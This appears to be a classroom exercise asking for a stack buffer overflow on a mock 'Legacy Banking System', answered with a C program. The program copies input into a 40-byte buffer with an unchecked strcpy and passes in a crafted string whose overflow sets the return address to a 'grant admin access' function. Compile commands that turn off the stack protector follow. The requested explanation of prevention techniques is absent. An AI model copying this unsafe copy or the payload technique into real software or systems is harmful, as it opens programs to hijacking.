2. Implement a stack buffer overflow attack using a procedural language on the "Legacy Banking System". Explain the concept of stack buffer overflow and discuss techniques to prevent such attacks.

```
#include <stdio.h>
#include <string.h>

void grantAccess() {
   printf("Access Granted: Admin Privileges!\n");
}

void handleTransaction(char *input) {
   char buffer[40];
   // Unsafe function that causes a buffer overflow
   strcpy(buffer, input);
   printf("Transaction Data: %s\n", buffer);
}

int main() {
   // Create the malicious input
   char maliciousInput[49];
   int i;
   // Fill buffer with 'A's
   for (i = 0; i < 44; i++) {
      maliciousInput[i] = 'A';
   }
   // Address of grantAccess (in little-endian format)
   maliciousInput[44] = 0xf0; // Replace with actual address found in gdb
   maliciousInput[45] = 0x15;
   maliciousInput[46] = 0x40;
   maliciousInput[47] = 0x00;
   maliciousInput[48] = '\0'; // Null-terminate the string

   // Run the vulnerable function with the malicious input
   handleTransaction(maliciousInput);

   printf("Transaction Completed.\n");
   return 0;
}
```

In terminal:
gcc -o legacy_bank.exe legacy_bank.c -fno-stack-protector

and

./legacy_bank.exe